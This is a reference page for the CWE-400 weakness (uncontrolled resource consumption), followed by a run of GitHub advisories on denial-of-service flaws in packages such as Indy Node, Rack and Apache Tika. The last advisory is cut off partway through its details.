Common Weakness Enumeration

CWE-400

Weakness Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

Dimensions

  • Behavior-Property: Uncontrolled
  • Behavior-Type: Consumption
  • Resource-Type: Resource
Mapping guidance

CWE-400 is intended for incorrect behaviors in which the product is expected to track and restrict how many resources it consumes, but CWE-400 is often misused because it is conflated with the "technical impact" of vulnerabilities in which resource consumption occurs. It is sometimes used for low-information vulnerability reports. It is a level-1 Class (i.e., a child of a Pillar).

Closely analyze the specific mistake that is causing resource consumption, and perform a CWE mapping for that mistake. Consider children/descendants.

Relationships and members
ChildOf: CWE-664 · View CWE-1000
Modes of introduction
Operation

The product could be operated in a system or environment with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

System Configuration

The product could be configured with lower resource limits than expected, which might make it easier for attackers to consume all available resources.

Architecture and Design

The designer might not consider how to handle and throttle excessive resource requests, which typically requires careful planning to handle more gracefully than a crash or exit.

Implementation

There are at least three distinct scenarios that can commonly lead to resource exhaustion:

Lack of throttling for the number of allocated resources.

Losing all references to a resource before reaching the shutdown stage.

Not closing/returning a resource after processing.

Resource exhaustion problems often occur due to an incorrect implementation of the following situations:

Error conditions and other exceptional circumstances.

Confusion over which part of the program is responsible for releasing the resource.

Detection methods

Automated Static Analysis

Automated static analysis typically has limited utility in recognizing resource exhaustion problems, except for program-independent system resources such as files, sockets, and processes. For system resources, automated static analysis may be able to detect circumstances in which resources are not released after they have expired. Automated analysis of configuration files may be able to detect settings that do not specify a maximum value.

Automated static analysis tools will not be appropriate for detecting exhaustion of custom resources, such as an intended security policy in which a bulletin board user is only allowed to make a limited number of posts per day.

Effectiveness: Limited

Automated Dynamic Analysis

Certain automated dynamic analysis techniques may be effective in spotting resource exhaustion problems, especially with resources such as processes, memory, and connections. The technique may involve generating a large number of requests to the product within a short time frame.

Effectiveness: Moderate

Fuzzing

While fuzzing is typically geared toward finding low-level implementation bugs, it can inadvertently find resource exhaustion problems. This can occur when the fuzzer generates a large number of test cases but does not restart the targeted product in between test cases. If an individual test case produces a crash, but it does not do so reliably, then an inability to handle resource exhaustion may be the cause.

Effectiveness: Opportunistic

Notes

Theoretical

Vulnerability theory is largely about how behaviors and resources interact. "Resource exhaustion" can be regarded as either a consequence or an attack, depending on the perspective. This entry is an attempt to reflect the underlying weaknesses that enable these attacks (or consequences) to take place.

Other

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of code to generate enough traffic to exceed the site's ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch's cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Limited resources include memory, file system storage, database connection pool entries, CPU, and others.

Content history
Submission: CLASP · 2006-07-19 · CWE Draft 3
Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-01-24 · CWE 4.10

Suggested mappings to ISA/IEC 62443.

Contribution: "Mapping CWE to 62443" Sub-Working Group · CWE-CAPEC ICS/OT SIG · 2023-04-25 · CWE 4.11

Suggested mappings to ISA/IEC 62443.

Contribution: Abhi Balakrishnan · 2025-02-25 · CWE 4.17

Provided diagram to improve CWE usability.

Modification: Eric Dalci · Cigital · 2008-07-01 · CWE 1.0

updated Time_of_Introduction

Modification: · Veracode · 2008-08-15 · CWE 1.0

Suggested OWASP Top Ten 2004 mapping

Modification: CWE Content Team · MITRE · 2008-09-08 · CWE 1.0

updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2008-10-14 · CWE 1.0.1

updated Description, Name, Relationships

Modification: CWE Content Team · MITRE · 2009-01-12 · CWE 1.2

updated Description

Modification: CWE Content Team · MITRE · 2009-05-27 · CWE 1.4

updated Name, Relationships

Modification: CWE Content Team · MITRE · 2009-07-27 · CWE 1.5

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2009-10-29 · CWE 1.6

updated Relationships

Modification: CWE Content Team · MITRE · 2009-12-28 · CWE 1.7

updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Other_Notes, Potential_Mitigations, References

Modification: CWE Content Team · MITRE · 2010-02-16 · CWE 1.8

updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2010-04-05 · CWE 1.8.1

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2010-06-21 · CWE 1.9

updated Description

Modification: CWE Content Team · MITRE · 2010-09-27 · CWE 1.10

updated Demonstrative_Examples

Modification: CWE Content Team · MITRE · 2011-06-01 · CWE 1.13

updated Common_Consequences, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2012-05-11 · CWE 2.2

updated Demonstrative_Examples, Related_Attack_Patterns, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2013-07-17 · CWE 2.5

updated Relationships

Modification: CWE Content Team · MITRE · 2014-07-30 · CWE 2.8

updated Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2015-12-07 · CWE 2.9

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2017-01-19 · CWE 2.10

updated Relationships

Modification: CWE Content Team · MITRE · 2017-11-08 · CWE 3.0

updated Applicable_Platforms, Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations, References, Relationships

Modification: CWE Content Team · MITRE · 2018-03-27 · CWE 3.1

updated References, Type

Modification: CWE Content Team · MITRE · 2019-01-03 · CWE 3.2

updated Alternate_Terms, Description, Name, Relationships, Taxonomy_Mappings, Theoretical_Notes

Modification: CWE Content Team · MITRE · 2019-06-20 · CWE 3.3

updated Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2019-09-19 · CWE 3.4

updated Description, Relationships

Modification: CWE Content Team · MITRE · 2020-02-24 · CWE 4.0

updated Description, References, Related_Attack_Patterns, Relationships

Modification: CWE Content Team · MITRE · 2020-06-25 · CWE 4.1

updated Description, Maintenance_Notes

Modification: CWE Content Team · MITRE · 2020-08-20 · CWE 4.2

updated Relationships

Modification: CWE Content Team · MITRE · 2022-04-28 · CWE 4.7

updated Related_Attack_Patterns

Modification: CWE Content Team · MITRE · 2022-06-28 · CWE 4.8

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2022-10-13 · CWE 4.9

updated Observed_Examples, Relationships

Modification: CWE Content Team · MITRE · 2023-01-31 · CWE 4.10

updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Related_Attack_Patterns, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-04-27 · CWE 4.11

updated Demonstrative_Examples, Relationships, Taxonomy_Mappings

Modification: CWE Content Team · MITRE · 2023-06-29 · CWE 4.12

updated Mapping_Notes, Relationships

Modification: CWE Content Team · MITRE · 2024-11-19 · CWE 4.16

updated Relationships

Modification: CWE Content Team · MITRE · 2025-04-03 · CWE 4.17

updated Common_Consequences, Description, Diagram, Modes_of_Introduction, Other_Notes, Time_of_Introduction

Modification: CWE Content Team · MITRE · 2025-09-09 · CWE 4.18

updated Observed_Examples, References

Modification: CWE Content Team · MITRE · 2025-12-11 · CWE 4.19

updated Applicable_Platforms, Maintenance_Notes, Weakness_Ordinalities

Modification: CWE Content Team · MITRE · 2026-04-30 · CWE 4.20

updated Applicable_Platforms, Maintenance_Notes, Mapping_Notes, Other_Notes

Modification: CWE Content Team · MITRE · 2026-10-28 · CWE 5.0

updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings

7207 vulnerabilities reference this CWE, most recent first.

GHSA-3GW4-M5W7-V89C

Vulnerability from github – Published: 2020-06-11 00:04 – Updated: 2024-11-18 16:26
VLAI
Summary
Uncontrolled Resource Consumption in Indy Node
Details

Summary

Indy Node has a bug in TAA handling code. The current primary can be crashed with a malformed transaction from a client, which leads to a view change. Repeated rapid view changes have the potential of bringing down the network.

Discovery

On May 18, Evernym's monitoring of Sovrin StagingNet showed a report of StagingNet losing sufficient consensus to validate write transactions. The problem resolved itself within a few minutes. On May 20th we saw the alert multiple times, and we began analyzing the logs of our steward node. On May 21st we continued to see the alerts with increasing frequency.

It appears that someone is unknowingly sending a malformed transaction, and retrying when the transaction fails. The cause of the errors appear to be the TAA acceptance.

Proposed actions

  • Reproduce problem in integration tests and create a fix
  • Do a hotfix release branching from last stable (current master have some things merged that are too risky)
  • Upgrade BuilderNet, StagingNet and MainNet as soon as possible
  • Improve testing strategy on Indy Node to reduce probability of such bugs

Notes

  • The journalctl logs also show an out-of-memory problem on the Australia node. We need to evaluate if this should be raised as a separate issue.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "indy-node"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.12.2"
            },
            {
              "fixed": "1.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "1.12.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2020-11090"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-11T00:02:06Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Summary\nIndy Node has a bug in TAA handling code. The current primary can be crashed with a malformed transaction from a client, which leads to a view change. Repeated rapid view changes have the potential of bringing down the network.\n\n# Discovery\nOn May 18, Evernym\u0027s monitoring of Sovrin StagingNet showed a report of StagingNet losing sufficient consensus to validate write transactions. The problem resolved itself within a few minutes. On May 20th we saw the alert multiple times, and we began analyzing the logs of our steward node. On May 21st we continued to see the alerts with increasing frequency.\n\nIt appears that someone is unknowingly sending a malformed transaction, and retrying when the transaction fails. The cause of the errors appear to be the TAA acceptance.\n\n# Proposed actions\n* Reproduce problem in integration tests and create a fix\n* Do a hotfix release branching from last stable (current master have some things merged that are too risky)\n* Upgrade BuilderNet, StagingNet and MainNet as soon as possible\n* Improve testing strategy on Indy Node to reduce probability of such bugs\n\n# Notes\n* The journalctl logs also show an out-of-memory problem on the Australia node. We need to evaluate if this should be raised as a separate issue.",
  "id": "GHSA-3gw4-m5w7-v89c",
  "modified": "2024-11-18T16:26:06Z",
  "published": "2020-06-11T00:04:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/hyperledger/indy-node/security/advisories/GHSA-3gw4-m5w7-v89c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11090"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hyperledger/indy-node"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hyperledger/indy-node/blob/master/CHANGELOG.md#1123"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/indy-node/PYSEC-2020-47.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/indy-node/1.12.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in Indy Node"
}

GHSA-3GXG-HFHR-6G9X

Vulnerability from github – Published: 2023-02-21 18:30 – Updated: 2025-03-17 18:31
VLAI
Details

Libreswan 4.9 allows remote attackers to cause a denial of service (assert failure and daemon restart) via crafted TS payload with an incorrect selector length.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-21T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Libreswan 4.9 allows remote attackers to cause a denial of service (assert failure and daemon restart) via crafted TS payload with an incorrect selector length.",
  "id": "GHSA-3gxg-hfhr-6g9x",
  "modified": "2025-03-17T18:31:33Z",
  "published": "2023-02-21T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23009"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libreswan/libreswan/issues/954"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/2MFOIQX2LRL43P3GJT33DE7G7COHNXDN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CSMYJH7MC2FZGCY5NH5AXULO3ISXIHOF"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MFOIQX2LRL43P3GJT33DE7G7COHNXDN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CSMYJH7MC2FZGCY5NH5AXULO3ISXIHOF"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5368"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3H23-H733-Q43F

Vulnerability from github – Published: 2026-09-16 21:32 – Updated: 2026-09-17 21:31
VLAI
Details

A remote attacker could cause excessive resource consumption by supplying specially crafted request parameters, potentially resulting in a denial of service condition.

Older unsupported versions may also be affected.

Users are recommended to upgrade to versions 2.3.12, 2.3-next-M9, 3.0.4, 4.0.4, or 4.1.4, which fix this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-76646"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-16T20:17:28Z",
    "severity": "HIGH"
  },
  "details": "A remote attacker could cause excessive resource consumption by supplying specially crafted request parameters, potentially resulting in a denial of service condition.\n\n\nOlder unsupported versions may also be affected.\n\nUsers are recommended to upgrade to versions 2.3.12, 2.3-next-M9, 3.0.4, 4.0.4, or 4.1.4, which fix this issue.",
  "id": "GHSA-3h23-h733-q43f",
  "modified": "2026-09-17T21:31:35Z",
  "published": "2026-09-16T21:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76646"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/q8zxrdhbmmx8ofgr9s7ymnqo8l2x8oy9"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/16/12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3H25-MHP4-65PQ

Vulnerability from github – Published: 2026-07-30 18:31 – Updated: 2026-07-30 18:31
VLAI
Details

IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 are vulnerable to a denial of service via a crafted HTTP request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-9322"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-30T17:16:34Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 are vulnerable to a denial of service via a crafted HTTP request.",
  "id": "GHSA-3h25-mhp4-65pq",
  "modified": "2026-07-30T18:31:41Z",
  "published": "2026-07-30T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9322"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7278576"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3H26-8WFG-F6VH

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details

In read_metadata_vorbiscomment_ of stream_decoder.c, there is possible memory exhaustion due to a memory leak. This could lead to remote denial of service with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-124775381

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-0487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-15T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In read_metadata_vorbiscomment_ of stream_decoder.c, there is possible memory exhaustion due to a memory leak. This could lead to remote denial of service with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-124775381",
  "id": "GHSA-3h26-8wfg-f6vh",
  "modified": "2022-05-24T17:36:26Z",
  "published": "2022-05-24T17:36:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0487"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2020-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-3H29-52VH-PQGR

Vulnerability from github – Published: 2021-05-07 15:53 – Updated: 2022-10-07 20:39
VLAI
Summary
Uncontrolled Resource Consumption in Apache Tika
Details

A carefully crafted or corrupt PSD file can cause excessive memory usage in Apache Tika's PSDParser in versions 1.0-1.23.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.23"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tika:tika"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0"
            },
            {
              "fixed": "1.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-1950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-05T22:51:14Z",
    "nvd_published_at": "2020-03-23T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A carefully crafted or corrupt PSD file can cause excessive memory usage in Apache Tika\u0027s PSDParser in versions 1.0-1.23.",
  "id": "GHSA-3h29-52vh-pqgr",
  "modified": "2022-10-07T20:39:59Z",
  "published": "2021-05-07T15:53:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1950"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/tika"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r463b1a67817ae55fe022536edd6db34e8f9636971188430cbcf8a8dd%40%3Cdev.tika.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/03/msg00035.html"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4564-1"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2020.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in Apache Tika"
}

GHSA-3H52-CX59-C456

Vulnerability from github – Published: 2026-03-29 15:48 – Updated: 2026-04-10 20:21
VLAI
Summary
OpenClaw: Feishu webhook reads and parses unauthenticated request bodies before signature validation
Details

Summary

Feishu webhook reads and parses unauthenticated request bodies before signature validation

Affected Packages / Versions

  • Package: openclaw
  • Affected versions: <= 2026.3.24
  • First patched version: 2026.3.25
  • Latest published npm version at verification time: 2026.3.24

Details

Feishu webhook handling previously parsed JSON before signature validation, which let unauthenticated callers force full JSON parsing work before rejection. Commit 5e8cb22176e9235e224be0bc530699261eb60e53 reads the raw request body, validates the signature first, and only then parses JSON.

Verified vulnerable on tag v2026.3.24 and fixed on main by commit 5e8cb22176e9235e224be0bc530699261eb60e53.

Fix Commit(s)

  • 5e8cb22176e9235e224be0bc530699261eb60e53
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.28"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35640"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:48:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nFeishu webhook reads and parses unauthenticated request bodies before signature validation\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Affected versions: `\u003c= 2026.3.24`\n- First patched version: `2026.3.25`\n- Latest published npm version at verification time: `2026.3.24`\n\n## Details\n\nFeishu webhook handling previously parsed JSON before signature validation, which let unauthenticated callers force full JSON parsing work before rejection. Commit `5e8cb22176e9235e224be0bc530699261eb60e53` reads the raw request body, validates the signature first, and only then parses JSON.\n\nVerified vulnerable on tag `v2026.3.24` and fixed on `main` by commit `5e8cb22176e9235e224be0bc530699261eb60e53`.\n\n## Fix Commit(s)\n\n- `5e8cb22176e9235e224be0bc530699261eb60e53`",
  "id": "GHSA-3h52-cx59-c456",
  "modified": "2026-04-10T20:21:35Z",
  "published": "2026-03-29T15:48:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-3h52-cx59-c456"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35640"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/5e8cb22176e9235e224be0bc530699261eb60e53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-denial-of-service-via-unauthenticated-webhook-request-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Feishu webhook reads and parses unauthenticated request bodies before signature validation"
}

GHSA-3H57-HMJ3-GJ3P

Vulnerability from github – Published: 2023-03-08 17:20 – Updated: 2025-02-13 18:41
VLAI
Summary
Rack has possible DoS Vulnerability in Multipart MIME parsing
Details

There is a possible DoS vulnerability in the Multipart MIME parsing code in Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27530.

Versions Affected: All. Not affected: None Fixed Versions: 3.0.4.2, 2.2.6.3, 2.1.4.3, 2.0.9.3

Impact

The Multipart MIME parsing code in Rack limits the number of file parts, but does not limit the total number of parts that can be uploaded. Carefully crafted requests can abuse this and cause multipart parsing to take longer than expected.

All users running an affected release should either upgrade or use one of the workarounds immediately.

Workarounds

A proxy can be configured to limit the POST body size which will mitigate this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.1.0"
            },
            {
              "fixed": "2.1.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.6.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-27530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-08T17:20:04Z",
    "nvd_published_at": "2023-03-10T22:15:00Z",
    "severity": "HIGH"
  },
  "details": "There is a possible DoS vulnerability in the Multipart MIME parsing code in Rack. This vulnerability has been assigned the CVE identifier CVE-2023-27530.\n\nVersions Affected: All. Not affected: None Fixed Versions: 3.0.4.2, 2.2.6.3, 2.1.4.3, 2.0.9.3\n\n# Impact\nThe Multipart MIME parsing code in Rack limits the number of file parts, but does not limit the total number of parts that can be uploaded. Carefully crafted requests can abuse this and cause multipart parsing to take longer than expected.\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\n# Workarounds\nA proxy can be configured to limit the POST body size which will mitigate this issue.",
  "id": "GHSA-3h57-hmj3-gj3p",
  "modified": "2025-02-13T18:41:56Z",
  "published": "2023-03-08T17:20:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27530"
    },
    {
      "type": "WEB",
      "url": "https://discuss.rubyonrails.org/t/cve-2023-27530-possible-dos-vulnerability-in-multipart-mime-parsing/82388"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rack/rack"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack/CVE-2023-27530.yml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2023/04/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231208-0015"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5530"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Rack has possible DoS Vulnerability in Multipart MIME parsing"
}

GHSA-3H5P-8X48-P6JM

Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31
VLAI
Details

Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Service Delivery Platform. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Service Delivery Platform. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-60382"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:40Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Service Delivery Platform.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Service Delivery Platform. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-3h5p-8x48-p6jm",
  "modified": "2026-07-22T00:31:37Z",
  "published": "2026-07-22T00:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60382"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-3H63-W8JQ-RRF2

Vulnerability from github – Published: 2026-11-19 20:43 – Updated: 2026-11-19 20:43
VLAI
Summary
SharpIppNext: Unbounded IPP Document Stream Buffering Leads to Denial of Service
Details

Summary

SharpIppNext's IppProtocol.ReadIppRequestAsync() unconditionally copies the entire attacker-supplied IPP document payload into an unbounded MemoryStream with no size limit. Because this behavior is enabled by default (ReadDocumentStream = true) and the official server documentation shows HttpContext.Request.Body being passed directly to ReceiveRequestAsync() without authentication, an unauthenticated remote attacker can exhaust the server process's memory by sending an arbitrarily large IPP request body, causing an Out-Of-Memory (OOM) condition and denial of service.

[!NOTE] This vulnerability only affects server-side implementations (using SharpIppServer to parse incoming IPP requests). It does not affect client-side implementations using SharpIppClient or client-side request construction.

Details

